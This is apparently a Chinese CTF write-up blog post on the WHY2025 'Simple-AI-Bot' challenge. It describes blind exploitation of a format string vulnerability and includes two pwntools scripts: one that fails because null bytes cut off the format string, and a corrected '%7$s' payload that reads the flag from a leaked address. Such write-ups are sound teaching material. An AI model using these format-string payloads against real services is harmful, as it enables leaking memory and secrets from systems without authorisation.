2025.08.09-Simple-AI-Bot

题目简介

2025年8月9日的WHY2025 CTF赛题,链接在这WHY2025 CTF: Simple-AI-Bot

个人觉得很难的一道题目,需要盲打,一开始完全没思路……

漏洞点分析

首先拿到题目,发现没有任何附件,需要盲打,这里就卡住了,后来队友提示需要利用格式化字符串漏洞+有一个flag交互选项才知道怎么做

具体来说,首先监听给的端口,如图,注意到(其实就是瞎猜,我愿称我哥们为拉马努金……)输入包含flag的字符串就可以让机器人返回flag的地址:


接下来既然我的拉马努金队友说了是格式化字符串,那就用%p测试一下,如图:


可以看到会输出一些0x巴拉巴拉的地址,说明存在格式化字符串漏洞

经过上述分(瞎)析(猜),可以确定漏洞点即 泄露flag存储位置+格式化字符串输出 这一思路

漏洞点利用

首先确定输入的内容在printf时是位于第几个参数,如图,通过tag%p%p%p……%p来确定:


然后肉眼数一下有几个0x,发现到输入的1序列(即0x31)有6个0x,因此输入最终会被放在第6个参数

然后写出如下的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(os="linux",arch="x86",log_level="debug")
context.terminal=["tmux","splitw","-h"]

ioTube=remote("simple-ai-bot.ctf.zone",4242)

ioTube.recvuntil("Hi, what can I help you with today?\n> ")
ioTube.sendline("flag")
ioTube.recvuntil("The flag is safely stored in 0x")
flagAddr=int(ioTube.recvline()[:-1],16)
ioTube.recvuntil('>')

ioTube.sendline(p64(flagAddr)+b"%6$s")
ioTube.recvuntil("I'm sorry, I don't know about: ")
flag=ioTube.recv().decode(errors="ignore")
print("flag is here:{}\n".format(flag))

但是,这个exp并不能打通,原因是没有注意到NULL字节会截断printf的格式化字符串,如图:


可以看到泄露的地址只有6个字节,p64打包时会引入0字节,导致后面的%6$s不会被printf识别,因此要把格式字符放在前面,不过这样的话偏移要+1变成7,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(os="linux",arch="x86",log_level="debug")
context.terminal=["tmux","splitw","-h"]

ioTube=remote("simple-ai-bot.ctf.zone",4242)

ioTube.recvuntil("Hi, what can I help you with today?\n> ")
ioTube.sendline("flag")
ioTube.recvuntil("The flag is safely stored in 0x")
flagAddr=int(ioTube.recvline()[:-1],16)
ioTube.recvuntil('>')

ioTube.sendline(b"%7$s"+b'1'*4+p64(flagAddr))
ioTube.recvuntil("I'm sorry, I don't know about: ")
flag=ioTube.recv().decode(errors="ignore")
print("flag is here:{}\n".format(flag))

2025.08.09-Simple-AI-Bot
http://0x4a-210.github.io/2025/08/11/pwn刷题记录/格式化字符串/2025-08-09-Simple-AI-Bot/
Posted on
August 11, 2025
Licensed under